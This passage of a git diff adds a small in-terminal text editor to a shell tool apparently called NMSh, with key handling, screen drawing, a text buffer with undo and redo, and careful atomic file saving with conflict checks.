key: 'r', essential: true} as ActionControl]), + ]; +} + +function dialogKey(state: EditorState, dialog: EditorDialog, key: Key): EditorAction | undefined { + const controls = dialogControls(dialog); + const text = key.kind === 'text' ? key.value.toLowerCase() : undefined; + if (key.kind === 'left' || key.kind === 'focusPrevious') { dialog.focus = (dialog.focus + controls.length - 1) % controls.length; return undefined; } + if (key.kind === 'right' || key.kind === 'complete') { dialog.focus = (dialog.focus + 1) % controls.length; return undefined; } + const chosen = key.kind === 'enter' ? controls[dialog.focus]!.id + : key.kind === 'escape' || key.kind === 'interrupt' ? 'Action.Keep' + : controls.find(control => control.key && control.key.length === 1 && control.key === text)?.id; + if (!chosen) return undefined; + state.dialog = undefined; + if (chosen === 'Action.Keep') return undefined; + if (chosen === 'Action.Save') return {kind: 'save', thenClose: true}; + if (chosen === 'Action.Discard') return {kind: 'close'}; + if (chosen === 'Action.Overwrite') return {kind: 'save', force: true, ...(dialog.thenClose ? {thenClose: true} : {})}; + return {kind: 'reload'}; +} + +/** The rows the text area has (the frame, header, status and footer take the rest). */ +function textRows(state: EditorState, columns: number, height: number): number { + return Math.max(1, height - 2 - 1 - 1 - footerRows(state, columns).length); +} + +function gutter(state: EditorState): number { + return Math.max(3, String(state.buffer.lines.length).length) + 1; +} + +function textWidth(state: EditorState, columns: number): number { + return Math.max(4, columns - 4 - gutter(state)); +} + +/** Keep the caret on screen, with a little room around it. */ +function reveal(state: EditorState, columns: number, height: number): void { + const rows = textRows(state, columns, height); + const width = textWidth(state, columns); + const caret = state.buffer.caret; + if (caret.line < state.top) state.top = caret.line; + else if (caret.line >= state.top + rows) state.top = caret.line - rows + 1; + const column = displayColumn(state.buffer.lines[caret.line]!, caret.column); + const margin = Math.min(8, Math.floor(width / 4)); + if (column < state.left) state.left = Math.max(0, column - margin); + else if (column >= state.left + width) state.left = column - width + 1 + margin; +} + +export function editorKey(state: EditorState, key: Key, columns: number, height: number): EditorAction | undefined { + if (state.busy) return undefined; + if (state.dialog) return dialogKey(state, state.dialog, key); + const buffer = state.buffer; + if (state.input) { + const input = state.input; + if (key.kind === 'escape' || key.kind === 'interrupt') { state.input = undefined; return undefined; } + if (key.kind === 'enter') { + state.input = undefined; + state.query = input.value; + const found = buffer.find(input.value); + state.note = !input.value ? undefined : found ? (found.wrapped ? {text: 'Search wrapped to the top.', tone: 'info'} : undefined) : {text: `No match for “${input.value}”.`, tone: 'info'}; + reveal(state, columns, height); + return undefined; + } + const next = editText(input.value, key); + if (next !== undefined) input.value = next.slice(0, 200); + return undefined; + } + state.note = undefined; + const rows = textRows(state, columns, height); + switch (key.kind) { + case 'escape': + if (buffer.dirty) { state.dialog = {kind: 'unsaved', focus: 0}; return undefined; } + return {kind: 'close'}; + case 'sendToProgram': return {kind: 'save'}; + case 'suspend': if (!buffer.undo()) state.note = {text: 'Nothing to undo.', tone: 'info'}; break; + case 'redo': if (!buffer.redo()) state.note = {text: 'Nothing to redo.', tone: 'info'}; break; + case 'find': state.input = {kind: 'find', value: state.query ?? ''}; return undefined; + case 'interrupt': { + const selected = buffer.selectedText(); + if (selected) return {kind: 'copy', text: selected}; + state.note = {text: 'Esc closes · Ctrl+S saves · select text to copy it.', tone: 'info'}; + return undefined; + } + case 'historyDelete': { + const selected = buffer.selectedText(); + if (!selected) { state.note = {text: 'Select text to cut it.', tone: 'info'}; return undefined; } + buffer.insert(''); + reveal(state, columns, height); + return {kind: 'copy', text: selected}; + } + case 'text': buffer.insert(key.value); break; + case 'paste': buffer.insert(key.value); break; + case 'enter': case 'newline': buffer.insert('\n'); break; + case 'complete': buffer.insert('\t'); break; + case 'backspace': buffer.backspace(); break; + case 'delete': buffer.delete(); break; + case 'deleteWord': buffer.deleteWord(); break; + case 'deleteLineBefore': buffer.deleteLineBefore(); break; + case 'deleteLineAfter': buffer.deleteLineAfter(); break; + case 'left': buffer.left(); break; + case 'right': buffer.right(); break; + case 'up': buffer.vertical(-1); break; + case 'down': buffer.vertical(1); break; + case 'selectLeft': buffer.left(true); break; + case 'selectRight': buffer.right(true); break; + case 'selectUp': buffer.vertical(-1, true); break; + case 'selectDown': buffer.vertical(1, true); break; + case 'wordLeft': buffer.wordLeft(); break; + case 'wordRight': buffer.wordRight(); break; + case 'selectWordLeft': buffer.wordLeft(true); break; + case 'selectWordRight': buffer.wordRight(true); break; + case 'lineHome': buffer.home(); break; + case 'lineEnd': buffer.end(); break; + case 'selectLineHome': buffer.home(true); break; + case 'selectLineEnd': buffer.end(true); break; + case 'bufferHome': buffer.bufferHome(); break; + case 'bufferEnd': case 'latest': buffer.bufferEnd(); break; + case 'selectBufferHome': buffer.bufferHome(true); break; + case 'selectBufferEnd': buffer.bufferEnd(true); break; + case 'selectAll': buffer.selectAll(); break; + case 'pageUp': buffer.vertical(-Math.max(1, rows - 1)); break; + case 'pageDown': buffer.vertical(Math.max(1, rows - 1)); break; + case 'wheelUp': state.top = Math.max(0, state.top - WHEEL_ROWS); return undefined; + case 'wheelDown': state.top = Math.max(0, Math.min(buffer.lines.length - rows, state.top + WHEEL_ROWS)); return undefined; + default: return undefined; + } + reveal(state, columns, height); + return undefined; +} + +// ---- Drawing ------------------------------------------------------------------------------------------------------ + +interface Cell {text: string; width: number; offset: number} + +/** A line's drawn cells from display column 0: tabs as spaces, unsafe characters as marks, each with its offset. */ +function lineCells(line: string, limit: number): Cell[] { + const cells: Cell[] = []; + let column = 0; + let offset = 0; + for (const character of graphemes(line)) { + if (column >= limit) break; + if (character === '\t') { + const spaces = TAB_WIDTH - (column % TAB_WIDTH); + for (let index = 0; index < spaces; index += 1) cells.push({text: ' ', width: 1, offset}); + column += spaces; + } else { + const shown = inert(character); + const width = displayWidth(shown); + cells.push({text: shown, width, offset}); + column += width; + } + offset += character.length; + } + return cells; +} + +const inside = (position: Position, start: Position, end: Position) => + (position.line > start.line || (position.line === start.line && position.column >= start.column)) && (position.line < end.line || (position.line === end.line && position.column < end.column)); + +function drawLine(state: EditorState, index: number, width: number): string { + const line = state.buffer.lines[index]!; + const selection = state.buffer.selection; + const caret = state.buffer.caret; + const cells = lineCells(line, state.left + width); + let out = ''; + let used = 0; + let skipped = 0; + let caretDrawn = caret.line !== index; + for (const cell of cells) { + if (skipped < state.left) { skipped += cell.width; continue; } + if (used + cell.width > width) break; + const position = {line: index, column: cell.offset}; + const atCaret = !caretDrawn && cell.offset === caret.column; + const selected = selection && inside(position, selection.start, selection.end); + out += atCaret || selected ? `${REVERSE}${cell.text}${RESET}` : cell.text; + if (atCaret) caretDrawn = true; + used += cell.width; + } + // The caret at the end of the line (or of the visible part) is a reverse-video space. + if (!caretDrawn && used < width) out += `${REVERSE} ${RESET}`; + return out; +} + +function footerRows(state: EditorState, columns: number): string[] { + const width = Math.max(1, columns - 4); + if (state.dialog) { + const dialog = state.dialog; + const message = dialog.kind === 'unsaved' ? `${state.file.title} has unsaved changes.` : dialog.reason ?? `${state.file.title} changed on disk.`; + const accent = foreground(UI_COLORS.warning); + const actions = renderActionRow(dialogControls(dialog), {columns: width, keys: true, color: colorLevel() !== 'none'}).rows; + return [`${accent}${truncateText(message, width)}${RESET}`, ...actions]; + } + if (state.input) return renderControlRows([['Enter', 'find'], ['Esc', 'cancel']], width); + return renderControlRows([['Ctrl+S', 'save'], ['Esc', 'close'], ['Ctrl+Z', 'undo'], ['Ctrl+Y', 'redo'], ['Ctrl+F', 'find'], ['Ctrl+C', 'copy'], ['Ctrl+X', 'cut']], width); +} + +export function renderEditor(state: EditorState, columns: number, height: number): string[] { + const width = textWidth(state, columns); + const rows = textRows(state, columns, height); + state.top = Math.max(0, Math.min(state.top, Math.max(0, state.buffer.lines.length - 1))); + const primary = foreground(UI_COLORS.primary); + const subtle = foreground(UI_COLORS.subtle); + const warning = foreground(UI_COLORS.warning); + const dirty = state.buffer.dirty; + const detail = [`${state.buffer.lines.length.toLocaleString('en-US')} lines`, state.file.lineEnding === 'crlf' ? 'CRLF' : '', state.file.bom ? 'BOM' : '', state.file.identity ? '' : 'new file'].filter(Boolean).join(' · '); + const title = truncateText(state.file.title, Math.max(8, Math.floor((columns - 4) * 0.6))); + const out = [` ${primary}${title}${RESET}${dirty ? `${warning} ● edited${RESET}` : ''} ${subtle}${truncateText(detail, Math.max(1, columns - 8 - displayWidth(title) - (dirty ? 9 : 0)))}${RESET}`]; + const number = gutter(state); + for (let offset = 0; offset < rows; offset += 1) { + const index = state.top + offset; + if (index >= state.buffer.lines.length) { out.push(` ${subtle}${'~'.padStart(number - 1)}${RESET}`); continue; } + out.push(` ${subtle}${String(index + 1).padStart(number - 1)}${RESET} ${drawLine(state, index, width)}`); + } + const caret = state.buffer.caret; + const position = `Ln ${caret.line + 1}, Col ${displayColumn(state.buffer.lines[caret.line]!, caret.column) + 1}`; + const selected = state.buffer.selection ? ` · ${state.buffer.selectedText().length.toLocaleString('en-US')} selected` : ''; + const status = state.input + ? `${foreground(UI_COLORS.accent)}Find: ${RESET}${truncateText(inert(state.input.value), Math.max(1, columns - 12))}${foreground(UI_COLORS.accent)}▏${RESET}` + : `${subtle}${truncateText(`${position}${selected}${state.busy ? ' · saving…' : ''}`, Math.max(1, columns - 4))}${RESET}${state.note ? ` ${state.note.tone === 'error' ? foreground(UI_COLORS.failure) : state.note.tone === 'success' ? foreground(UI_COLORS.success) : subtle}${truncateText(inert(state.note.text), Math.max(1, columns - 8 - displayWidth(position + selected)))}${RESET}` : ''}`; + out.push(` ${status}`, ...footerRows(state, columns).map(row => ` ${row}`)); + const rule = framePanel([], columns)[0]!; + if (height <= 1) return [rule].slice(0, Math.max(0, height)); + return [...framePanel(out.slice(0, Math.max(0, height - 2)).map(row => truncateAnsi(row, columns)), columns), rule]; +} diff --git a/src/viewer/ViewerPanel.ts b/src/viewer/ViewerPanel.ts index 01d3c5de..5493f428 100644 --- a/src/viewer/ViewerPanel.ts +++ b/src/viewer/ViewerPanel.ts @@ -56,7 +56,7 @@ export interface ViewerState { markdown?: {width: number; rows: MarkdownRow[]}; } -export type ViewerAction = {kind: 'close'} | {kind: 'copy'; text: string; lines: number}; +export type ViewerAction = {kind: 'close'} | {kind: 'copy'; text: string; lines: number} | {kind: 'edit'; path: string}; export interface ViewerLook {syntax?: SyntaxSgr; hyperlinks?: boolean} @@ -400,6 +400,7 @@ export function viewerKey(state: ViewerState, key: Key, columns: number, height: else if (text === 'n' && state.query) step(state, 1, width, body, look); else if (text === 'N' && state.query) step(state, -1, width, body, look); else if (text === 'c') return {kind: 'copy', text: state.document.text, lines: state.document.lines.length}; + else if (text === 'e' && state.document.origin.kind === 'file') return {kind: 'edit', path: state.document.origin.path}; return undefined; } @@ -437,7 +438,7 @@ function controls(state: ViewerState, columns: number): string[] { ['↑↓', 'scroll'], ['/', 'find'], ...(state.query ? [['n/N', 'next/previous'] as const] : []), [':', 'line'], ...(state.document.format === 'markdown' ? [['m', state.rendered ? 'source' : 'rendered'] as const] : []), ...(!state.rendered ? [['w', state.wrap ? 'no wrap' : 'wrap'] as const, ['l', 'numbers'] as const] : []), - ['c', 'copy all'], ['Esc', 'close'], + ['c', 'copy all'], ...(state.document.origin.kind === 'file' ? [['e', 'edit'] as const] : []), ['Esc', 'close'], ], width); } diff --git a/src/viewer/fileEdit.ts b/src/viewer/fileEdit.ts new file mode 100644 index 00000000..0ad39a90 --- /dev/null +++ b/src/viewer/fileEdit.ts @@ -0,0 +1,201 @@ +import {createHash, randomBytes} from 'node:crypto'; +import {constants} from 'node:fs'; +import {access, link, lstat, open, readFile, realpath, rename, stat, unlink} from 'node:fs/promises'; +import {homedir} from 'node:os'; +import {basename, dirname, join} from 'node:path'; +import {displayPath, resolveViewPath} from './document.js'; + +/** + * Opening and saving a small text file for the native editor (#402). Only files that can be saved back exactly and + * safely are opened for editing; anything else is refused with the reason (and stays readable in /view): + * + * - a regular UTF-8 text file of at most MAX_EDIT_BYTES, owned by this user, with one hard link, whose file and + * directory are writable, with one kind of line ending (LF or CRLF); a BOM and the final newline are kept; + * - a path that does not exist yet, in a writable directory, opens empty and is created on save (never over a file + * that appeared meanwhile). + * + * Saving writes a new file beside the original (exclusive create, the original's mode, group when permitted), syncs it, + * checks that the original is still the file that was opened (device, inode, size, time and a content hash) and + * renames it over the original's real path. A changed, replaced or deleted original is a conflict for the person to + * decide; nothing is overwritten silently. Extended attributes and ACLs are not carried over by the rename. + */ + +export const MAX_EDIT_BYTES = 1024 * 1024; +const BOM = Buffer.from([0xef, 0xbb, 0xbf]); + +export interface FileIdentity {dev: number; ino: number; size: number; mtimeMs: number; hash: string} + +export interface EditableFile { + /** The path as given, resolved (it may be a symlink). */ + path: string; + /** The file written: the symlink's target. */ + realPath: string; + title: string; + /** The original's permission bits; undefined for a new file (it gets the default mode under the umask). */ + mode?: number; + gid?: number; + /** Undefined for a file that does not exist yet. */ + identity?: FileIdentity; + lineEnding: 'lf' | 'crlf'; + bom: boolean; + finalNewline: boolean; + lines: string[]; +} + +export type OpenResult = {ok: true; file: EditableFile} | {ok: false; reason: string}; +export type SaveConflict = 'changed' | 'replaced' | 'deleted' | 'exists'; +export type SaveResult = {ok: true; file: EditableFile} | {ok: false; reason: string; conflict?: SaveConflict}; + +const hash = (bytes: Buffer) => createHash('sha256').update(bytes).digest('hex'); +const code = (error: unknown) => (error as NodeJS.ErrnoException | undefined)?.code; + +function failure(error: unknown, action: string, shown: string): string { + switch (code(error)) { + case 'EACCES': case 'EPERM': return `Could not ${action} ${shown}: permission denied.`; + case 'EROFS': return `Could not ${action} ${shown}: the file system is read-only.`; + case 'ENOSPC': return `Could not ${action} ${shown}: the disk is full.`; + case 'EDQUOT': return `Could not ${action} ${shown}: over the disk quota.`; + case 'ENOENT': return `Could not ${action} ${shown}: it no longer exists.`; + case 'ELOOP': return `Could not ${action} ${shown}: a symlink loop.`; + case 'EISDIR': return `Could not ${action} ${shown}: it is a directory.`; + default: return `Could not ${action} ${shown}${code(error) ? ` (${code(error)})` : ''}.`; + } +} + +async function writable(path: string): Promise { + try { await access(path, constants.W_OK); return true; } catch { return false; } +} + +/** Open `input` (relative to `cwd`, `~` for home) for editing, or say why it cannot be edited. */ +export async function openForEdit(input: string, cwd: string, options: {home?: string; maxBytes?: number; uid?: number} = {}): Promise { + const home = options.home ?? homedir(); + const path = resolveViewPath(input, cwd, home); + const shown = displayPath(path, home); + const uid = options.uid ?? process.getuid?.(); + let realPath: string; + try { realPath = await realpath(path); } + catch (error) { + if (code(error) !== 'ENOENT') return {ok: false, reason: failure(error, 'open', shown)}; + try { await lstat(path); return {ok: false, reason: `${shown} is a symlink to a missing file; edit its target instead.`}; } catch { /* nothing there: a new file */ } + const directory = dirname(path); + let info; + try { info = await stat(directory); } catch { return {ok: false, reason: `${displayPath(directory, home)} does not exist; create the directory first.`}; } + if (!info.isDirectory()) return {ok: false, reason: `${displayPath(directory, home)} is not a directory.`}; + if (!(await writable(directory))) return {ok: false, reason: `${displayPath(directory, home)} is not writable, so ${shown} cannot be created.`}; + return {ok: true, file: {path, realPath: path, title: shown, lineEnding: 'lf', bom: false, finalNewline: true, lines: ['']}}; + } + let handle; + try { handle = await open(realPath, constants.O_RDONLY | constants.O_NONBLOCK | (constants.O_NOFOLLOW ?? 0) | (constants.O_NOCTTY ?? 0)); } + catch (error) { return {ok: false, reason: failure(error, 'open', shown)}; } + try { + const info = await handle.stat(); + if (info.isDirectory()) return {ok: false, reason: `${shown} is a directory.`}; + if (!info.isFile()) return {ok: false, reason: `${shown} is not a regular file.`}; + const maxBytes = options.maxBytes ?? MAX_EDIT_BYTES; + if (info.size > maxBytes) return {ok: false, reason: `${shown} is larger than ${Math.round(maxBytes / 1024)} KiB; the NMSh editor is for small files. Use your editor, or /view to read it.`}; + if (uid !== undefined && info.uid !== uid) return {ok: false, reason: `${shown} belongs to another user; NMSh edits only your own files. /view reads it.`}; + if (info.nlink > 1) return {ok: false, reason: `${shown} has other hard links, which saving by replacement would separate. Use your editor, or /view to read it.`}; + const bytes = await handle.readFile(); + if ((bytes[0] === 0xff && bytes[1] === 0xfe) || (bytes[0] === 0xfe && bytes[1] === 0xff)) return {ok: false, reason: `${shown} is UTF-16 text; the NMSh editor edits UTF-8 only.`}; + if (bytes.includes(0)) return {ok: false, reason: `${shown} looks binary (it contains NUL bytes).`}; + const bom = bytes.subarray(0, 3).equals(BOM); + let text: string; + try { text = new TextDecoder('utf-8', {fatal: true}).decode(bom ? bytes.subarray(3) : bytes); } + catch { return {ok: false, reason: `${shown} is not valid UTF-8; saving could change bytes it holds. /view reads it.`}; } + const finalNewline = text.endsWith('\n'); + const raw = text.split('\n'); + if (finalNewline) raw.pop(); + const terminated = finalNewline ? raw.length : raw.length - 1; + const crlf = raw.slice(0, terminated).filter(line => line.endsWith('\r')).length; + if (crlf && crlf !== terminated) return {ok: false, reason: `${shown} mixes LF and CRLF line endings; saving would change them. Use your editor, or /view to read it.`}; + const lines = crlf ? raw.map((line, index) => index < terminated ? line.slice(0, -1) : line) : raw; + if (!(await writable(realPath))) return {ok: false, reason: `${shown} is read-only. /view reads it.`}; + if (!(await writable(dirname(realPath)))) return {ok: false, reason: `The folder holding ${shown} is not writable, so it cannot be saved safely. /view reads it.`}; + return {ok: true, file: {path, realPath, title: shown, mode: info.mode & 0o7777, gid: info.gid, + identity: {dev: info.dev, ino: info.ino, size: info.size, mtimeMs: info.mtimeMs, hash: hash(bytes)}, + lineEnding: crlf ? 'crlf' : 'lf', bom, finalNewline: finalNewline || text === '', lines: lines.length ? lines : ['']}}; + } catch (error) { + return {ok: false, reason: failure(error, 'open', shown)}; + } finally { await handle.close().catch(() => undefined); } +} + +/** The bytes a buffer's lines save as: the file's line ending, BOM and final newline kept. */ +export function encodeLines(file: Pick, lines: readonly string[]): Buffer { + const eol = file.lineEnding === 'crlf' ? '\r\n' : '\n'; + const body = lines.join(eol) + (file.finalNewline && !(lines.length === 1 && lines[0] === '') ? eol : ''); + const text = Buffer.from(body, 'utf8'); + return file.bom ? Buffer.concat([BOM, text]) : text; +} + +/** Whether the original is still the file that was opened; undefined when it is. */ +async function changedOnDisk(file: EditableFile): Promise { + if (!file.identity) { + try { await lstat(file.realPath); return 'exists'; } catch (error) { return code(error) === 'ENOENT' ? undefined : 'exists'; } + } + try { if (await realpath(file.path) !== file.realPath) return 'replaced'; } + catch (error) { return code(error) === 'ENOENT' ? 'deleted' : 'replaced'; } + let info; + try { info = await lstat(file.realPath); } catch (error) { return code(error) === 'ENOENT' ? 'deleted' : 'replaced'; } + if (!info.isFile() || info.dev !== file.identity.dev || info.ino !== file.identity.ino) return 'replaced'; + if (info.size === file.identity.size && info.mtimeMs === file.identity.mtimeMs) return undefined; + try { return hash(await readFile(file.realPath)) === file.identity.hash ? undefined : 'changed'; } catch { return 'changed'; } +} + +const CONFLICTS: Record = { + changed: 'changed on disk since you opened it', + replaced: 'was replaced on disk since you opened it', + deleted: 'was deleted since you opened it', + exists: 'was created by something else since you opened it', +}; + +/** + * Save `lines` over the file. Without `force`, a changed original is a conflict and nothing is written. With `force` + * (the person chose Overwrite), the content check is skipped, but only a regular file (or nothing) is ever replaced. + */ +export async function saveFile(file: EditableFile, lines: readonly string[], options: {force?: boolean} = {}): Promise { + if (!options.force) { + const conflict = await changedOnDisk(file); + if (conflict) return {ok: false, conflict, reason: `${file.title} ${CONFLICTS[conflict]}.`}; + } else { + try { if (!(await lstat(file.realPath)).isFile()) return {ok: false, reason: `${file.title} is no longer a regular file; nothing was written.`}; } + catch (error) { if (code(error) !== 'ENOENT') return {ok: false, reason: failure(error, 'save', file.title)}; } + } + const bytes = encodeLines(file, lines); + const directory = dirname(file.realPath); + const temp = join(directory, `.${basename(file.realPath)}.nmsh-${randomBytes(6).toString('hex')}.tmp`); + let handle; + try { + handle = await open(temp, constants.O_WRONLY | constants.O_CREAT | constants.O_EXCL | (constants.O_NOFOLLOW ?? 0), file.mode === undefined ? 0o666 : 0o600); + await handle.writeFile(bytes); + if (file.mode !== undefined) await handle.chmod(file.mode); + if (file.gid !== undefined) await handle.chown(-1, file.gid).catch(() => undefined); + await handle.sync(); + await handle.close(); + handle = undefined; + // The narrowest window: the original is checked again just before it is replaced. + if (!options.force) { + const conflict = await changedOnDisk(file); + if (conflict) { await unlink(temp).catch(() => undefined); return {ok: false, conflict, reason: `${file.title} ${CONFLICTS[conflict]}.`}; } + } + if (!file.identity && !options.force) { + // A new file is created only if nothing appeared at its path meanwhile: link fails rather than replace. + try { await link(temp, file.realPath); } + catch (error) { + await unlink(temp).catch(() => undefined); + if (code(error) === 'EEXIST') return {ok: false, conflict: 'exists', reason: `${file.title} ${CONFLICTS.exists}.`}; + throw error; + } + await unlink(temp).catch(() => undefined); + } else await rename(temp, file.realPath); + } catch (error) { + await handle?.close().catch(() => undefined); + await unlink(temp).catch(() => undefined); + return {ok: false, reason: failure(error, 'save', file.title)}; + } + // The directory entry itself is durable too, where the platform allows syncing a directory. + try { const dir = await open(directory, constants.O_RDONLY); try { await dir.sync(); } finally { await dir.close(); } } catch { /* best effort */ } + try { + const info = await lstat(file.realPath); + return {ok: true, file: {...file, lines: [...lines], identity: {dev: info.dev, ino: info.ino, size: info.size, mtimeMs: info.mtimeMs, hash: hash(bytes)}}}; + } catch (error) { return {ok: false, reason: failure(error, 'check the saved', file.title)}; } +} diff --git a/src/viewer/textBuffer.ts b/src/viewer/textBuffer.ts new file mode 100644 index 00000000..6f81b389 --- /dev/null +++ b/src/viewer/textBuffer.ts @@ -0,0 +1,311 @@ +import {graphemes} from '../input/inputLayout.js'; +import {displayWidth} from '../util/text.js'; + +/** + * The text of a small file being edited (#402): lines, a caret, an optional selection anchor and bounded undo/redo. + * Positions are (line, UTF-16 offset) and always sit on grapheme boundaries. Every change goes through one + * replaceRange, which records its inverse; typing and deleting coalesce into one undo step per burst. Movement mirrors + * the composer's rules (words are separated by spaces and tabs) over lines instead of one buffer. + */ + +export interface Position {line: number; column: number} + +interface Edit { + from: Position; + removed: string; + inserted: string; + caretBefore: Position; + anchorBefore?: Position; + caretAfter: Position; + kind: 'type' | 'delete' | 'other'; + at: number; +} + +const MAX_UNDO = 500; +const UNREACHABLE: unique symbol = Symbol('unreachable saved state'); +const COALESCE_MS = 1000; +export const TAB_WIDTH = 4; + +const same = (a: Position, b: Position) => a.line === b.line && a.column === b.column; +const before = (a: Position, b: Position) => a.line < b.line || (a.line === b.line && a.column < b.column); +const isSpace = (character: string | undefined) => character === ' ' || character === '\t'; + +/** The display column of `column` in `line`, with tabs to the next stop and wide characters counted. */ +export function displayColumn(line: string, column: number): number { + let cells = 0; + let offset = 0; + for (const character of graphemes(line)) { + if (offset >= column) break; + cells += character === '\t' ? TAB_WIDTH - (cells % TAB_WIDTH) : displayWidth(character); + offset += character.length; + } + return cells; +} + +/** The offset in `line` whose display column is nearest to `target` without passing it. */ +function columnAt(line: string, target: number): number { + let cells = 0; + let offset = 0; + for (const character of graphemes(line)) { + const width = character === '\t' ? TAB_WIDTH - (cells % TAB_WIDTH) : displayWidth(character); + if (cells + width > target) break; + cells += width; + offset += character.length; + } + return offset; +} + +export class TextBuffer { + lines: string[]; + caret: Position = {line: 0, column: 0}; + anchor?: Position; + private preferred?: number; + private readonly undoStack: Edit[] = []; + private readonly redoStack: Edit[] = []; + /** + * The undo step the saved text ends with (undefined: the text as opened). The buffer is clean exactly when the + * history's top is that step, so undoing back to the saved text reads as clean again. A saved state pushed out of + * the bounded history can never be reached again and is marked unreachable. + */ + private savedTop: Edit | undefined | typeof UNREACHABLE = undefined; + + constructor(lines: readonly string[], private readonly now: () => number = Date.now) { + this.lines = lines.length ? [...lines] : ['']; + } + + get text(): string { return this.lines.join('\n'); } + get dirty(): boolean { return this.undoStack.at(-1) !== this.savedTop; } + get canUndo(): boolean { return this.undoStack.length > 0; } + get canRedo(): boolean { return this.redoStack.length > 0; } + + markSaved(): void { this.savedTop = this.undoStack.at(-1); } + + get selection(): {start: Position; end: Position} | undefined { + if (!this.anchor || same(this.anchor, this.caret)) return undefined; + return before(this.anchor, this.caret) ? {start: this.anchor, end: this.caret} : {start: this.caret, end: this.anchor}; + } + + selectedText(): string { + const selection = this.selection; + return selection ? this.slice(selection.start, selection.end) : ''; + } + + private slice(from: Position, to: Position): string { + if (from.line === to.line) return this.lines[from.line]!.slice(from.column, to.column); + return [this.lines[from.line]!.slice(from.column), ...this.lines.slice(from.line + 1, to.line), this.lines[to.line]!.slice(0, to.column)].join('\n'); + } + + /** Replace [from, to) with text; records the inverse for undo. */ + private replaceRange(from: Position, to: Position, text: string, kind: Edit['kind'], record = true): void { + const removed = this.slice(from, to); + const head = this.lines[from.line]!.slice(0, from.column); + const tail = this.lines[to.line]!.slice(to.column); + const parts = text.split('\n'); + const caretAfter = {line: from.line + parts.length - 1, column: (parts.length === 1 ? head.length : 0) + parts.at(-1)!.length}; + parts[0] = head + parts[0]!; + parts[parts.length - 1] = parts.at(-1)! + tail; + const caretBefore = this.caret; + const anchorBefore = this.anchor; + this.lines.splice(from.line, to.line - from.line + 1, ...parts); + this.caret = caretAfter; + this.anchor = undefined; + this.preferred = undefined; + if (!record) return; + this.redoStack.length = 0; + const previous = this.undoStack.at(-1); + const at = this.now(); + // A burst of typing (or of deleting) is one undo step: same kind, continuing where the last one ended, no line break. + // The saved step is never extended: what the file holds must stay one exact step of the history. + if (previous && previous !== this.savedTop && kind !== 'other' && previous.kind === kind && at - previous.at < COALESCE_MS && !text.includes('\n') && !removed.includes('\n')) { + if (kind === 'type' && !removed && same(previous.caretAfter, from)) { + previous.inserted += text; previous.caretAfter = caretAfter; previous.at = at; return; + } + if (kind === 'delete' && !text && same(previous.from, to) && !previous.inserted) { + previous.from = from; previous.removed = removed + previous.removed; previous.caretAfter = caretAfter; previous.at = at; return; + } + } + this.undoStack.push({from, removed, inserted: text, caretBefore, ...(anchorBefore ? {anchorBefore} : {}), caretAfter, kind, at}); + if (this.undoStack.length > MAX_UNDO) { + const dropped = this.undoStack.shift(); + // The saved text was the state before (or at) the dropped step: undo can no longer return to it. + if (this.savedTop === undefined || this.savedTop === dropped) this.savedTop = UNREACHABLE; + } + } + + private endOf(from: Position, text: string): Position { + const parts = text.split('\n'); + return {line: from.line + parts.length - 1, column: (parts.length === 1 ? from.column : 0) + parts.at(-1)!.length}; + } + + undo(): boolean { + const edit = this.undoStack.pop(); + if (!edit) return false; + this.replaceRange(edit.from, this.endOf(edit.from, edit.inserted), edit.removed, 'other', false); + this.caret = edit.caretBefore; + this.anchor = edit.anchorBefore; + this.redoStack.push(edit); + return true; + } + + redo(): boolean { + const edit = this.redoStack.pop(); + if (!edit) return false; + this.replaceRange(edit.from, this.endOf(edit.from, edit.removed), edit.inserted, 'other', false); + this.caret = edit.caretAfter; + this.undoStack.push(edit); + return true; + } + + // ---- Editing ----------------------------------------------------------------------------------------------------- + + /** Typed or pasted text: CR LF and CR become line breaks, tabs stay, other control characters are dropped. */ + insert(value: string): void { + const text = value.replace(/\r\n?/gu, '\n').replace(/[\u0000-\u0008\u000b-\u001f\u007f]/gu, ''); + if (!text && !this.selection) return; + const selection = this.selection; + this.replaceRange(selection?.start ?? this.caret, selection?.end ?? this.caret, text, selection ? 'other' : 'type'); + } + + private deleteSelection(): boolean { + const selection = this.selection; + if (!selection) { this.anchor = undefined; return false; } + this.replaceRange(selection.start, selection.end, '', 'other'); + return true; + } + + backspace(): void { + if (this.deleteSelection()) return; + const from = this.stepLeft(this.caret); + if (!same(from, this.caret)) this.replaceRange(from, this.caret, '', 'delete'); + } + + delete(): void { + if (this.deleteSelection()) return; + const to = this.stepRight(this.caret); + if (!same(to, this.caret)) this.replaceRange(this.caret, to, '', 'other'); + } + + deleteWord(): void { + if (this.deleteSelection()) return; + const from = this.wordStart(this.caret); + if (!same(from, this.caret)) this.replaceRange(from, this.caret, '', 'other'); + } + + deleteLineBefore(): void { + if (this.deleteSelection()) return; + if (this.caret.column > 0) this.replaceRange({line: this.caret.line, column: 0}, this.caret, '', 'other'); + } + + deleteLineAfter(): void { + if (this.deleteSelection()) return; + const length = this.lines[this.caret.line]!.length; + if (this.caret.column < length) this.replaceRange(this.caret, {line: this.caret.line, column: length}, '', 'other'); + } + + // ---- Movement ---------------------------------------------------------------------------------------------------- + + private stepLeft(position: Position): Position { + if (position.column === 0) return position.line === 0 ? position : {line: position.line - 1, column: this.lines[position.line - 1]!.length}; + const characters = graphemes(this.lines[position.line]!.slice(0, position.column)); + return {line: position.line, column: position.column - characters.at(-1)!.length}; + } + + private stepRight(position: Position): Position { + const line = this.lines[position.line]!; + if (position.column >= line.length) return position.line + 1 >= this.lines.length ? position : {line: position.line + 1, column: 0}; + return {line: position.line, column: position.column + graphemes(line.slice(position.column))[0]!.length}; + } + + private wordStart(position: Position): Position { + if (position.column === 0) return this.stepLeft(position); + const line = this.lines[position.line]!; + let column = position.column; + while (column > 0 && isSpace(line[column - 1])) column -= 1; + while (column > 0 && !isSpace(line[column - 1])) column -= 1; + return {line: position.line, column}; + } + + private wordEnd(position: Position): Position { + const line = this.lines[position.line]!; + if (position.column >= line.length) return this.stepRight(position); + let column = position.column; + while (column < line.length && !isSpace(line[column])) column += 1; + while (column < line.length && isSpace(line[column])) column += 1; + return {line: position.line, column}; + } + + private move(to: Position, select: boolean, keepPreferred = false): void { + if (select) this.anchor ??= this.caret; + else this.anchor = undefined; + this.caret = to; + if (!keepPreferred) this.preferred = undefined; + } + + /** Without Shift, Left/Right first collapse a selection to its edge, as the composer does. */ + left(select = false): void { + const selection = this.selection; + if (!select && selection) { this.move(selection.start, false); return; } + this.move(this.stepLeft(this.caret), select); + } + + right(select = false): void { + const selection = this.selection; + if (!select && selection) { this.move(selection.end, false); return; } + this.move(this.stepRight(this.caret), select); + } + + 